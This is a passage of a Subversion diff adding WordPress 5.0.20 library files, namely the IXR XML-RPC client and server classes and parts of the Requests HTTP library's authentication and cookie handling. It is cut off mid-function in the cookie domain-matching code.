+    var $minute;
+    var $second;
+    var $timezone;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $time )
+    {
+        // $time can be a PHP timestamp or an ISO one
+        if (is_numeric($time)) {
+            $this->parseTimestamp($time);
+        } else {
+            $this->parseIso($time);
+        }
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Date( $time ) {
+		self::__construct( $time );
+	}
+
+    function parseTimestamp($timestamp)
+    {
+        $this->year = date('Y', $timestamp);
+        $this->month = date('m', $timestamp);
+        $this->day = date('d', $timestamp);
+        $this->hour = date('H', $timestamp);
+        $this->minute = date('i', $timestamp);
+        $this->second = date('s', $timestamp);
+        $this->timezone = '';
+    }
+
+    function parseIso($iso)
+    {
+        $this->year = substr($iso, 0, 4);
+        $this->month = substr($iso, 4, 2);
+        $this->day = substr($iso, 6, 2);
+        $this->hour = substr($iso, 9, 2);
+        $this->minute = substr($iso, 12, 2);
+        $this->second = substr($iso, 15, 2);
+        $this->timezone = substr($iso, 17);
+    }
+
+    function getIso()
+    {
+        return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone;
+    }
+
+    function getXml()
+    {
+        return '<dateTime.iso8601>'.$this->getIso().'</dateTime.iso8601>';
+    }
+
+    function getTimestamp()
+    {
+        return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year);
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-error.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-error.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-error.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * IXR_Error
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Error
+{
+    var $code;
+    var $message;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $code, $message )
+    {
+        $this->code = $code;
+        $this->message = htmlspecialchars($message);
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Error( $code, $message ) {
+		self::__construct( $code, $message );
+	}
+
+    function getXml()
+    {
+        $xml = <<<EOD
+<methodResponse>
+  <fault>
+    <value>
+      <struct>
+        <member>
+          <name>faultCode</name>
+          <value><int>{$this->code}</int></value>
+        </member>
+        <member>
+          <name>faultString</name>
+          <value><string>{$this->message}</string></value>
+        </member>
+      </struct>
+    </value>
+  </fault>
+</methodResponse>
+
+EOD;
+        return $xml;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-introspectionserver.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-introspectionserver.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-introspectionserver.php	(revision 56912)
@@ -0,0 +1,174 @@
+<?php
+
+/**
+ * IXR_IntrospectionServer
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_IntrospectionServer extends IXR_Server
+{
+    var $signatures;
+    var $help;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct()
+    {
+        $this->setCallbacks();
+        $this->setCapabilities();
+        $this->capabilities['introspection'] = array(
+            'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html',
+            'specVersion' => 1
+        );
+        $this->addCallback(
+            'system.methodSignature',
+            'this:methodSignature',
+            array('array', 'string'),
+            'Returns an array describing the return type and required parameters of a method'
+        );
+        $this->addCallback(
+            'system.getCapabilities',
+            'this:getCapabilities',
+            array('struct'),
+            'Returns a struct describing the XML-RPC specifications supported by this server'
+        );
+        $this->addCallback(
+            'system.listMethods',
+            'this:listMethods',
+            array('array'),
+            'Returns an array of available methods on this server'
+        );
+        $this->addCallback(
+            'system.methodHelp',
+            'this:methodHelp',
+            array('string', 'string'),
+            'Returns a documentation string for the specified method'
+        );
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_IntrospectionServer() {
+		self::__construct();
+	}
+
+    function addCallback($method, $callback, $args, $help)
+    {
+        $this->callbacks[$method] = $callback;
+        $this->signatures[$method] = $args;
+        $this->help[$method] = $help;
+    }
+
+    function call($methodname, $args)
+    {
+        // Make sure it's in an array
+        if ($args && !is_array($args)) {
+            $args = array($args);
+        }
+
+        // Over-rides default call method, adds signature check
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.');
+        }
+        $method = $this->callbacks[$methodname];
+        $signature = $this->signatures[$methodname];
+        $returnType = array_shift($signature);
+
+        // Check the number of arguments
+        if (count($args) != count($signature)) {
+            return new IXR_Error(-32602, 'server error. wrong number of method parameters');
+        }
+
+        // Check the argument types
+        $ok = true;
+        $argsbackup = $args;
+        for ($i = 0, $j = count($args); $i < $j; $i++) {
+            $arg = array_shift($args);
+            $type = array_shift($signature);
+            switch ($type) {
+                case 'int':
+                case 'i4':
+                    if (is_array($arg) || !is_int($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'base64':
+                case 'string':
+                    if (!is_string($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'boolean':
+                    if ($arg !== false && $arg !== true) {
+                        $ok = false;
+                    }
+                    break;
+                case 'float':
+                case 'double':
+                    if (!is_float($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'date':
+                case 'dateTime.iso8601':
+                    if (!is_a($arg, 'IXR_Date')) {
+                        $ok = false;
+                    }
+                    break;
+            }
+            if (!$ok) {
+                return new IXR_Error(-32602, 'server error. invalid method parameters');
+            }
+        }
+        // It passed the test - run the "real" method call
+        return parent::call($methodname, $argsbackup);
+    }
+
+    function methodSignature($method)
+    {
+        if (!$this->hasMethod($method)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.');
+        }
+        // We should be returning an array of types
+        $types = $this->signatures[$method];
+        $return = array();
+        foreach ($types as $type) {
+            switch ($type) {
+                case 'string':
+                    $return[] = 'string';
+                    break;
+                case 'int':
+                case 'i4':
+                    $return[] = 42;
+                    break;
+                case 'double':
+                    $return[] = 3.1415;
+                    break;
+                case 'dateTime.iso8601':
+                    $return[] = new IXR_Date(time());
+                    break;
+                case 'boolean':
+                    $return[] = true;
+                    break;
+                case 'base64':
+                    $return[] = new IXR_Base64('base64');
+                    break;
+                case 'array':
+                    $return[] = array('array');
+                    break;
+                case 'struct':
+                    $return[] = array('struct' => 'struct');
+                    break;
+            }
+        }
+        return $return;
+    }
+
+    function methodHelp($method)
+    {
+        return $this->help[$method];
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-message.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-message.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-message.php	(revision 56912)
@@ -0,0 +1,234 @@
+<?php
+
+/**
+ * IXR_MESSAGE
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ */
+class IXR_Message
+{
+    var $message     = false;
+    var $messageType = false;  // methodCall / methodResponse / fault
+    var $faultCode   = false;
+    var $faultString = false;
+    var $methodName  = '';
+    var $params      = array();
+
+    // Current variable stacks
+    var $_arraystructs = array();   // The stack used to keep track of the current array/struct
+    var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array
+    var $_currentStructName = array();  // A stack as well
+    var $_param;
+    var $_value;
+    var $_currentTag;
+    var $_currentTagContents;
+    // The XML parser
+    var $_parser;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $message )
+    {
+        $this->message =& $message;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Message( $message ) {
+		self::__construct( $message );
+	}
+
+    function parse()
+    {
+        if ( ! function_exists( 'xml_parser_create' ) ) {
+            trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
+            return false;
+        }
+
+        // first remove the XML declaration
+        // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
+        $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 );
+        $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) );
+        if ( '' == $this->message ) {
+            return false;
+        }
+
+        // Then remove the DOCTYPE
+        $header = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 );
+        $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) );
+        if ( '' == $this->message ) {
+            return false;
+        }
+
+        // Check that the root tag is valid
+        $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) );
+        if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) {
+            return false;
+        }
+        if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) {
+            return false;
+        }
+
+        // Bail if there are too many elements to parse
+        $element_limit = 30000;
+        if ( function_exists( 'apply_filters' ) ) {
+            /**
+             * Filters the number of elements to parse in an XML-RPC response.
+             *
+             * @since 4.0.0
+             *
+             * @param int $element_limit Default elements limit.
+             */
+            $element_limit = apply_filters( 'xmlrpc_element_limit', $element_limit );
+        }
+        if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) {
+            return false;
+        }
+
+        $this->_parser = xml_parser_create();
+        // Set XML parser to take the case of tags in to account
+        xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
+        // Set XML parser callback functions
+        xml_set_object($this->_parser, $this);
+        xml_set_element_handler($this->_parser, 'tag_open', 'tag_close');
+        xml_set_character_data_handler($this->_parser, 'cdata');
+
+        // 256Kb, parse in chunks to avoid the RAM usage on very large messages
+        $chunk_size = 262144;
+
+        /**
+         * Filters the chunk size that can be used to parse an XML-RPC reponse message.
+         *
+         * @since 4.4.0
+         *
+         * @param int $chunk_size Chunk size to parse in bytes.
+         */
+        $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size );
+
+        $final = false;
+        do {
+            if (strlen($this->message) <= $chunk_size) {
+                $final = true;
+            }
+            $part = substr($this->message, 0, $chunk_size);
+            $this->message = substr($this->message, $chunk_size);
+            if (!xml_parse($this->_parser, $part, $final)) {
+                return false;
+            }
+            if ($final) {
+                break;
+            }
+        } while (true);
+        xml_parser_free($this->_parser);
+
+        // Grab the error messages, if any
+        if ($this->messageType == 'fault') {
+            $this->faultCode = $this->params[0]['faultCode'];
+            $this->faultString = $this->params[0]['faultString'];
+        }
+        return true;
+    }
+
+    function tag_open($parser, $tag, $attr)
+    {
+        $this->_currentTagContents = '';
+        $this->currentTag = $tag;
+        switch($tag) {
+            case 'methodCall':
+            case 'methodResponse':
+            case 'fault':
+                $this->messageType = $tag;
+                break;
+                /* Deal with stacks of arrays and structs */
+            case 'data':    // data is to all intents and puposes more interesting than array
+                $this->_arraystructstypes[] = 'array';
+                $this->_arraystructs[] = array();
+                break;
+            case 'struct':
+                $this->_arraystructstypes[] = 'struct';
+                $this->_arraystructs[] = array();
+                break;
+        }
+    }
+
+    function cdata($parser, $cdata)
+    {
+        $this->_currentTagContents .= $cdata;
+    }
+
+    function tag_close($parser, $tag)
+    {
+        $valueFlag = false;
+        switch($tag) {
+            case 'int':
+            case 'i4':
+                $value = (int)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'double':
+                $value = (double)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'string':
+                $value = (string)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'dateTime.iso8601':
+                $value = new IXR_Date(trim($this->_currentTagContents));
+                $valueFlag = true;
+                break;
+            case 'value':
+                // "If no type is indicated, the type is string."
+                if (trim($this->_currentTagContents) != '') {
+                    $value = (string)$this->_currentTagContents;
+                    $valueFlag = true;
+                }
+                break;
+            case 'boolean':
+                $value = (boolean)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'base64':
+                $value = base64_decode($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+                /* Deal with stacks of arrays and structs */
+            case 'data':
+            case 'struct':
+                $value = array_pop($this->_arraystructs);
+                array_pop($this->_arraystructstypes);
+                $valueFlag = true;
+                break;
+            case 'member':
+                array_pop($this->_currentStructName);
+                break;
+            case 'name':
+                $this->_currentStructName[] = trim($this->_currentTagContents);
+                break;
+            case 'methodName':
+                $this->methodName = trim($this->_currentTagContents);
+                break;
+        }
+
+        if ($valueFlag) {
+            if (count($this->_arraystructs) > 0) {
+                // Add value to struct or array
+                if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
+                    // Add to struct
+                    $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value;
+                } else {
+                    // Add to array
+                    $this->_arraystructs[count($this->_arraystructs)-1][] = $value;
+                }
+            } else {
+                // Just add as a parameter
+                $this->params[] = $value;
+            }
+        }
+        $this->_currentTagContents = '';
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-request.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-request.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-request.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * IXR_Request
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Request
+{
+    var $method;
+    var $args;
+    var $xml;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct($method, $args)
+    {
+        $this->method = $method;
+        $this->args = $args;
+        $this->xml = <<<EOD
+<?xml version="1.0"?>
+<methodCall>
+<methodName>{$this->method}</methodName>
+<params>
+
+EOD;
+        foreach ($this->args as $arg) {
+            $this->xml .= '<param><value>';
+            $v = new IXR_Value($arg);
+            $this->xml .= $v->getXml();
+            $this->xml .= "</value></param>\n";
+        }
+        $this->xml .= '</params></methodCall>';
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Request( $method, $args ) {
+		self::__construct( $method, $args );
+	}
+
+    function getLength()
+    {
+        return strlen($this->xml);
+    }
+
+    function getXml()
+    {
+        return $this->xml;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-server.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-server.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-server.php	(revision 56912)
@@ -0,0 +1,225 @@
+<?php
+
+/**
+ * IXR_Server
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Server
+{
+    var $data;
+    var $callbacks = array();
+    var $message;
+    var $capabilities;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $callbacks = false, $data = false, $wait = false )
+    {
+        $this->setCapabilities();
+        if ($callbacks) {
+            $this->callbacks = $callbacks;
+        }
+        $this->setCallbacks();
+        if (!$wait) {
+            $this->serve($data);
+        }
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Server( $callbacks = false, $data = false, $wait = false ) {
+		self::__construct( $callbacks, $data, $wait );
+	}
+
+    function serve($data = false)
+    {
+        if (!$data) {
+            if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') {
+                if ( function_exists( 'status_header' ) ) {
+                    status_header( 405 ); // WP #20986
+                    header( 'Allow: POST' );
+                }
+                header('Content-Type: text/plain'); // merged from WP #9093
+                die('XML-RPC server accepts POST requests only.');
+            }
+
+            global $HTTP_RAW_POST_DATA;
+            if (empty($HTTP_RAW_POST_DATA)) {
+                // workaround for a bug in PHP 5.2.2 - http://bugs.php.net/bug.php?id=41293
+                $data = file_get_contents('php://input');
+            } else {
+                $data =& $HTTP_RAW_POST_DATA;
+            }
+        }
+        $this->message = new IXR_Message($data);
+        if (!$this->message->parse()) {
+            $this->error(-32700, 'parse error. not well formed');
+        }
+        if ($this->message->messageType != 'methodCall') {
+            $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall');
+        }
+        $result = $this->call($this->message->methodName, $this->message->params);
+
+        // Is the result an error?
+        if (is_a($result, 'IXR_Error')) {
+            $this->error($result);
+        }
+
+        // Encode the result
+        $r = new IXR_Value($result);
+        $resultxml = $r->getXml();
+
+        // Create the XML
+        $xml = <<<EOD
+<methodResponse>
+  <params>
+    <param>
+      <value>
+      $resultxml
+      </value>
+    </param>
+  </params>
+</methodResponse>
+
+EOD;
+      // Send it
+      $this->output($xml);
+    }
+
+    function call($methodname, $args)
+    {
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.');
+        }
+        $method = $this->callbacks[$methodname];
+
+        // Perform the callback and send the response
+        if (count($args) == 1) {
+            // If only one parameter just send that instead of the whole array
+            $args = $args[0];
+        }
+
+        // Are we dealing with a function or a method?
+        if (is_string($method) && substr($method, 0, 5) == 'this:') {
+            // It's a class method - check it exists
+            $method = substr($method, 5);
+            if (!method_exists($this, $method)) {
+                return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.');
+            }
+
+            //Call the method
+            $result = $this->$method($args);
+        } else {
+            // It's a function - does it exist?
+            if (is_array($method)) {
+                if (!is_callable(array($method[0], $method[1]))) {
+                    return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.');
+                }
+            } else if (!function_exists($method)) {
+                return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.');
+            }
+
+            // Call the function
+            $result = call_user_func($method, $args);
+        }
+        return $result;
+    }
+
+    function error($error, $message = false)
+    {
+        // Accepts either an error object or an error code and message
+        if ($message && !is_object($error)) {
+            $error = new IXR_Error($error, $message);
+        }
+        $this->output($error->getXml());
+    }
+
+    function output($xml)
+    {
+        $charset = function_exists('get_option') ? get_option('blog_charset') : '';
+        if ($charset)
+            $xml = '<?xml version="1.0" encoding="'.$charset.'"?>'."\n".$xml;
+        else
+            $xml = '<?xml version="1.0"?>'."\n".$xml;
+        $length = strlen($xml);
+        header('Connection: close');
+        if ($charset)
+            header('Content-Type: text/xml; charset='.$charset);
+        else
+            header('Content-Type: text/xml');
+        header('Date: '.date('r'));
+        echo $xml;
+        exit;
+    }
+
+    function hasMethod($method)
+    {
+        return in_array($method, array_keys($this->callbacks));
+    }
+
+    function setCapabilities()
+    {
+        // Initialises capabilities array
+        $this->capabilities = array(
+            'xmlrpc' => array(
+                'specUrl' => 'http://www.xmlrpc.com/spec',
+                'specVersion' => 1
+        ),
+            'faults_interop' => array(
+                'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php',
+                'specVersion' => 20010516
+        ),
+            'system.multicall' => array(
+                'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208',
+                'specVersion' => 1
+        ),
+        );
+    }
+
+    function getCapabilities($args)
+    {
+        return $this->capabilities;
+    }
+
+    function setCallbacks()
+    {
+        $this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
+        $this->callbacks['system.listMethods'] = 'this:listMethods';
+        $this->callbacks['system.multicall'] = 'this:multiCall';
+    }
+
+    function listMethods($args)
+    {
+        // Returns a list of methods - uses array_reverse to ensure user defined
+        // methods are listed before server defined methods
+        return array_reverse(array_keys($this->callbacks));
+    }
+
+    function multiCall($methodcalls)
+    {
+        // See http://www.xmlrpc.com/discuss/msgReader$1208
+        $return = array();
+        foreach ($methodcalls as $call) {
+            $method = $call['methodName'];
+            $params = $call['params'];
+            if ($method == 'system.multicall') {
+                $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
+            } else {
+                $result = $this->call($method, $params);
+            }
+            if (is_a($result, 'IXR_Error')) {
+                $return[] = array(
+                    'faultCode' => $result->code,
+                    'faultString' => $result->message
+                );
+            } else {
+                $return[] = array($result);
+            }
+        }
+        return $return;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-value.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-value.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-value.php	(revision 56912)
@@ -0,0 +1,138 @@
+<?php
+/**
+ * IXR_Value
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Value {
+    var $data;
+    var $type;
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $data, $type = false )
+    {
+        $this->data = $data;
+        if (!$type) {
+            $type = $this->calculateType();
+        }
+        $this->type = $type;
+        if ($type == 'struct') {
+            // Turn all the values in the array in to new IXR_Value objects
+            foreach ($this->data as $key => $value) {
+                $this->data[$key] = new IXR_Value($value);
+            }
+        }
+        if ($type == 'array') {
+            for ($i = 0, $j = count($this->data); $i < $j; $i++) {
+                $this->data[$i] = new IXR_Value($this->data[$i]);
+            }
+        }
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Value( $data, $type = false ) {
+		self::__construct( $data, $type );
+	}
+
+    function calculateType()
+    {
+        if ($this->data === true || $this->data === false) {
+            return 'boolean';
+        }
+        if (is_integer($this->data)) {
+            return 'int';
+        }
+        if (is_double($this->data)) {
+            return 'double';
+        }
+
+        // Deal with IXR object types base64 and date
+        if (is_object($this->data) && is_a($this->data, 'IXR_Date')) {
+            return 'date';
+        }
+        if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) {
+            return 'base64';
+        }
+
+        // If it is a normal PHP object convert it in to a struct
+        if (is_object($this->data)) {
+            $this->data = get_object_vars($this->data);
+            return 'struct';
+        }
+        if (!is_array($this->data)) {
+            return 'string';
+        }
+
+        // We have an array - is it an array or a struct?
+        if ($this->isStruct($this->data)) {
+            return 'struct';
+        } else {
+            return 'array';
+        }
+    }
+
+    function getXml()
+    {
+        // Return XML for this value
+        switch ($this->type) {
+            case 'boolean':
+                return '<boolean>'.(($this->data) ? '1' : '0').'</boolean>';
+                break;
+            case 'int':
+                return '<int>'.$this->data.'</int>';
+                break;
+            case 'double':
+                return '<double>'.$this->data.'</double>';
+                break;
+            case 'string':
+                return '<string>'.htmlspecialchars($this->data).'</string>';
+                break;
+            case 'array':
+                $return = '<array><data>'."\n";
+                foreach ($this->data as $item) {
+                    $return .= '  <value>'.$item->getXml()."</value>\n";
+                }
+                $return .= '</data></array>';
+                return $return;
+                break;
+            case 'struct':
+                $return = '<struct>'."\n";
+                foreach ($this->data as $name => $value) {
+					$name = htmlspecialchars($name);
+                    $return .= "  <member><name>$name</name><value>";
+                    $return .= $value->getXml()."</value></member>\n";
+                }
+                $return .= '</struct>';
+                return $return;
+                break;
+            case 'date':
+            case 'base64':
+                return $this->data->getXml();
+                break;
+        }
+        return false;
+    }
+
+    /**
+     * Checks whether or not the supplied array is a struct or not
+     *
+     * @param array $array
+     * @return bool
+     */
+    function isStruct($array)
+    {
+        $expected = 0;
+        foreach ($array as $key => $value) {
+            if ((string)$key !== (string)$expected) {
+                return true;
+            }
+            $expected++;
+        }
+        return false;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Auth.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Auth.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Auth.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Authentication provider interface
+ *
+ * @package Requests
+ * @subpackage Authentication
+ */
+
+/**
+ * Authentication provider interface
+ *
+ * Implement this interface to act as an authentication provider.
+ *
+ * Parameters should be passed via the constructor where possible, as this
+ * makes it much easier for users to use your provider.
+ *
+ * @see Requests_Hooks
+ * @package Requests
+ * @subpackage Authentication
+ */
+interface Requests_Auth {
+	/**
+	 * Register hooks as needed
+	 *
+	 * This method is called in {@see Requests::request} when the user has set
+	 * an instance as the 'auth' option. Use this callback to register all the
+	 * hooks you'll need.
+	 *
+	 * @see Requests_Hooks::register
+	 * @param Requests_Hooks $hooks Hook system
+	 */
+	public function register(Requests_Hooks &$hooks);
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Auth/Basic.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Auth/Basic.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Auth/Basic.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * Basic Authentication provider
+ *
+ * @package Requests
+ * @subpackage Authentication
+ */
+
+/**
+ * Basic Authentication provider
+ *
+ * Provides a handler for Basic HTTP authentication via the Authorization
+ * header.
+ *
+ * @package Requests
+ * @subpackage Authentication
+ */
+class Requests_Auth_Basic implements Requests_Auth {
+	/**
+	 * Username
+	 *
+	 * @var string
+	 */
+	public $user;
+
+	/**
+	 * Password
+	 *
+	 * @var string
+	 */
+	public $pass;
+
+	/**
+	 * Constructor
+	 *
+	 * @throws Requests_Exception On incorrect number of arguments (`authbasicbadargs`)
+	 * @param array|null $args Array of user and password. Must have exactly two elements
+	 */
+	public function __construct($args = null) {
+		if (is_array($args)) {
+			if (count($args) !== 2) {
+				throw new Requests_Exception('Invalid number of arguments', 'authbasicbadargs');
+			}
+
+			list($this->user, $this->pass) = $args;
+		}
+	}
+
+	/**
+	 * Register the necessary callbacks
+	 *
+	 * @see curl_before_send
+	 * @see fsockopen_header
+	 * @param Requests_Hooks $hooks Hook system
+	 */
+	public function register(Requests_Hooks &$hooks) {
+		$hooks->register('curl.before_send', array(&$this, 'curl_before_send'));
+		$hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header'));
+	}
+
+	/**
+	 * Set cURL parameters before the data is sent
+	 *
+	 * @param resource $handle cURL resource
+	 */
+	public function curl_before_send(&$handle) {
+		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
+	}
+
+	/**
+	 * Add extra headers to the request before sending
+	 *
+	 * @param string $out HTTP header string
+	 */
+	public function fsockopen_header(&$out) {
+		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
+	}
+
+	/**
+	 * Get the authentication string (user:pass)
+	 *
+	 * @return string
+	 */
+	public function getAuthString() {
+		return $this->user . ':' . $this->pass;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Cookie.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Cookie.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Cookie.php	(revision 56912)
@@ -0,0 +1,500 @@
+<?php
+/**
+ * Cookie storage object
+ *
+ * @package Requests
+ * @subpackage Cookies
+ */
+
+/**
+ * Cookie storage object
+ *
+ * @package Requests
+ * @subpackage Cookies
+ */
+class Requests_Cookie {
+	/**
+	 * Cookie name.
+	 *
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Cookie value.
+	 *
+	 * @var string
+	 */
+	public $value;
+
+	/**
+	 * Cookie attributes
+	 *
+	 * Valid keys are (currently) path, domain, expires, max-age, secure and
+	 * httponly.
+	 *
+	 * @var Requests_Utility_CaseInsensitiveDictionary|array Array-like object
+	 */
+	public $attributes = array();
+
+	/**
+	 * Cookie flags
+	 *
+	 * Valid keys are (currently) creation, last-access, persistent and
+	 * host-only.
+	 *
+	 * @var array
+	 */
+	public $flags = array();
+
+	/**
+	 * Reference time for relative calculations
+	 *
+	 * This is used in place of `time()` when calculating Max-Age expiration and
+	 * checking time validity.
+	 *
+	 * @var int
+	 */
+	public $reference_time = 0;
+
+	/**
+	 * Create a new cookie object
+	 *
+	 * @param string $name
+	 * @param string $value
+	 * @param array|Requests_Utility_CaseInsensitiveDictionary $attributes Associative array of attribute data
+	 */
+	public function __construct($name, $value, $attributes = array(), $flags = array(), $reference_time = null) {
+		$this->name = $name;
+		$this->value = $value;
+		$this->attributes = $attributes;
+		$default_flags = array(
+			'creation' => time(),
+			'last-access' => time(),
+			'persistent' => false,
+			'host-only' => true,
+		);
+		$this->flags = array_merge($default_flags, $flags);
+
+		$this->reference_time = time();
+		if ($reference_time !== null) {
+			$this->reference_time = $reference_time;
+		}
+
+		$this->normalize();
+	}
+
+	/**
+	 * Check if a cookie is expired.
+	 *
+	 * Checks the age against $this->reference_time to determine if the cookie
+	 * is expired.
+	 *
+	 * @return boolean True if expired, false if time is valid.
+	 */
+	public function is_expired() {
+		// RFC6265, s. 4.1.2.2:
+		// If a cookie has both the Max-Age and the Expires attribute, the Max-
+		// Age attribute has precedence and controls the expiration date of the
+		// cookie.
+		if (isset($this->attributes['max-age'])) {
+			$max_age = $this->attributes['max-age'];
+			return $max_age < $this->reference_time;
+		}
+
+		if (isset($this->attributes['expires'])) {
+			$expires = $this->attributes['expires'];
+			return $expires < $this->reference_time;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if a cookie is valid for a given URI
+	 *
+	 * @param Requests_IRI $uri URI to check
+	 * @return boolean Whether the cookie is valid for the given URI
+	 */
+	public function uri_matches(Requests_IRI $uri) {
+		if (!$this->domain_matches($uri->host)) {
+			return false;
+		}
+
+		if (!$this->path_matches($uri->path)) {
+			return false;
+		}
+
+		return empty($this->attributes['secure']) || $uri->scheme === 'https';
+	}
+
+	/**
+	 * Check if a cookie is valid for a given domain
+	 *
+	 * @param string $string Domain to check
+	 * @return boolean Whether the cookie is valid for the given domain
+	 */
+	public function domain_matches($string) {
+		if (!isset($this->attributes['domain'])) {
+			// Cookies created manually; cookies created by Requests will set
+			// the domain to the requested domain
+			return true;
+		}
+
+		$domain_string = $this->attributes['domain'];
+		if ($domain_string === $string) {
+			// The domain string and the string are identical.
+			return true;
+		}
+
+		// If the cookie is marked as host-only and we don't have an exact
+		// match, reject the cookie
+		if ($this->flags['host-only'] === true) {
+			return false;
+		}
+
+		if (strlen($string) <= strlen($domain_string)) {
+			// For obvious reasons, the string cannot be a suffix if the domain
+			// is shorter than the domain string
+			return false;
+		}
+
+		if (substr($string, -1 * strlen($domain_string)) !== $domain_string) {
